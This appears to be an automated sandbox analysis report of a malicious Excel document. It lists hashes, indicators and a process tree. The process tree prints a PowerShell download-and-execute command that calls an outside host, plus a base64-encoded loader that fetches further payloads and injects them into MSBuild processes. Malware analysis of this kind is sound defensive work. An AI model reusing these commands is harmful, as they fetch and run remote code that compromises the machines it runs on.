b2159f5f6752404355be70f1b882482c9996f0c4e809b565a1b1ce8705348d88

Analysis

max time kernel
69s
max time network
67s
platform
windows7_x64
resource
win7
submitted
15/07/2020, 12:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
290546249.xls
Size 411KB
Sample200715-c3dvrvtydj
SHA256 b2159f5f6752404355be70f1b882482c9996f0c4e809b565a1b1ce8705348d88
MD5 b868ef8972b158c96b414662ed2bf51d
SHA1 6823ae4dd686422f4716c6a81a496c9b8ee37906
SHA512 d3fed8a54767e2e9ea01e036ba362c1c04a13a4b36e4985c91e4fcbde3c61e89a7611d55672bbd60b7fce0c72754ae57884b6bad967338b66b7f50297becb995
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
http://spacemantra.biz/blyat.jpeg

Signatures

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
1068	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe

Blacklisted process makes network request 2 IoCs

flow	pid	Process
4	1068	powershell.exe
6	1236	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
112	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
112	EXCEL.EXE
112	EXCEL.EXE
112	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1068	112	powershell.exe	23

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 112 wrote to memory of 1068	112	EXCEL.EXE	24
PID 112 wrote to memory of 1068	112	EXCEL.EXE	24
PID 112 wrote to memory of 1068	112	EXCEL.EXE	24
PID 1068 wrote to memory of 1236	1068	powershell.exe	27
PID 1068 wrote to memory of 1236	1068	powershell.exe	27
PID 1068 wrote to memory of 1236	1068	powershell.exe	27
PID 1236 wrote to memory of 1932	1236	powershell.exe	28
PID 1236 wrote to memory of 1932	1236	powershell.exe	28
PID 1236 wrote to memory of 1932	1236	powershell.exe	28
PID 1236 wrote to memory of 1932	1236	powershell.exe	28
PID 1236 wrote to memory of 1952	1236	powershell.exe	29
PID 1236 wrote to memory of 1952	1236	powershell.exe	29
PID 1236 wrote to memory of 1952	1236	powershell.exe	29
PID 1236 wrote to memory of 1952	1236	powershell.exe	29
PID 1236 wrote to memory of 1792	1236	powershell.exe	30
PID 1236 wrote to memory of 1792	1236	powershell.exe	30
PID 1236 wrote to memory of 1792	1236	powershell.exe	30
PID 1236 wrote to memory of 1792	1236	powershell.exe	30
PID 1236 wrote to memory of 1776	1236	powershell.exe	31
PID 1236 wrote to memory of 1776	1236	powershell.exe	31
PID 1236 wrote to memory of 1776	1236	powershell.exe	31
PID 1236 wrote to memory of 1776	1236	powershell.exe	31
PID 1236 wrote to memory of 1788	1236	powershell.exe	32
PID 1236 wrote to memory of 1788	1236	powershell.exe	32
PID 1236 wrote to memory of 1788	1236	powershell.exe	32
PID 1236 wrote to memory of 1788	1236	powershell.exe	32
PID 1236 wrote to memory of 1872	1236	powershell.exe	33
PID 1236 wrote to memory of 1872	1236	powershell.exe	33
PID 1236 wrote to memory of 1872	1236	powershell.exe	33
PID 1236 wrote to memory of 1872	1236	powershell.exe	33
PID 1236 wrote to memory of 1772	1236	powershell.exe	34
PID 1236 wrote to memory of 1772	1236	powershell.exe	34
PID 1236 wrote to memory of 1772	1236	powershell.exe	34
PID 1236 wrote to memory of 1772	1236	powershell.exe	34
PID 1236 wrote to memory of 1752	1236	powershell.exe	35
PID 1236 wrote to memory of 1752	1236	powershell.exe	35
PID 1236 wrote to memory of 1752	1236	powershell.exe	35
PID 1236 wrote to memory of 1752	1236	powershell.exe	35
PID 1236 wrote to memory of 1656	1236	powershell.exe	36
PID 1236 wrote to memory of 1656	1236	powershell.exe	36
PID 1236 wrote to memory of 1656	1236	powershell.exe	36
PID 1236 wrote to memory of 1656	1236	powershell.exe	36
PID 1236 wrote to memory of 1644	1236	powershell.exe	37
PID 1236 wrote to memory of 1644	1236	powershell.exe	37
PID 1236 wrote to memory of 1644	1236	powershell.exe	37
PID 1236 wrote to memory of 1644	1236	powershell.exe	37
PID 1236 wrote to memory of 1960	1236	powershell.exe	38
PID 1236 wrote to memory of 1960	1236	powershell.exe	38
PID 1236 wrote to memory of 1960	1236	powershell.exe	38
PID 1236 wrote to memory of 1960	1236	powershell.exe	38
PID 1236 wrote to memory of 1584	1236	powershell.exe	39
PID 1236 wrote to memory of 1584	1236	powershell.exe	39
PID 1236 wrote to memory of 1584	1236	powershell.exe	39
PID 1236 wrote to memory of 1584	1236	powershell.exe	39

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1236	powershell.exe

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\290546249.xls
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://spacemantra.biz/blyat.jpeg')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  PID:1068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -w 1 /e JABYAHcAIAA9ACAAJwBNAHUAZwBwAGoAcwBjAFcAQgAnADsACgAkAFAAcwBiAGIAWQBWAGwAYgBrACAAPQAgACgAJwB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAnAC0AZgAnAGQAUwB0ACcALAAnAHIAaQBuACcALAAcIGAARABgAG8AYAB3AG4AYABsAGAAbwBhAB0gLAAnAGcAJwApADsAWwB2AG8AaQBkAF0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAJwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAnACkAOwAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAagA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBzAHAAYQBjAGUAbQBhAG4AdAByAGEALgBiAGkAegAvAHIAbgBwAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2AD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABQAHMAYgBiAFkAVgBsAGIAawAsAFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBDAGEAbABsAFQAeQBwAGUAXQA6ADoATQBlAHQAaABvAGQALAAnAGgAdAB0ACcAKwBbAEMAaABhAHIAXQA4ADAAKwAnACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHMAcABhAGMAZQBtAGEAbgB0AHIAYQAuAGIAaQB6AC8AbQBhAGkAbgAuAHQAeAB0ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACcAMAB4ACcAKQB8AEkARQBYADsAWwBDAC4ATQBdADoAOgBSACgAJwBNAFMAQgB1AGkAbABkAC4AZQB4AGUAJwAsACQAVABTAFEAbgBCAHoASQBCAGEAZQBaAHMASABuAEgAbwBpAFEAYgBvAE8AdQBWAG0AUABQAHAATwBEAG8AZgBnAEQARABSAE8ARgBmAEEAdgBKAGEAdABYAGUAZwB4AHcAbgBaAGkAawB0AHAAbQBuAEMAcQBGAGgAbABNAGkAcABKAFkAUQBWAEMAeQB6AFMASQBxAGMAZgBlAHcAdgApAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Blacklisted process makes network request
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1932
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1952
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1792
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1776
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1788
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1872
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1772
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1752
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1656
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1644
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1960
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1584

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads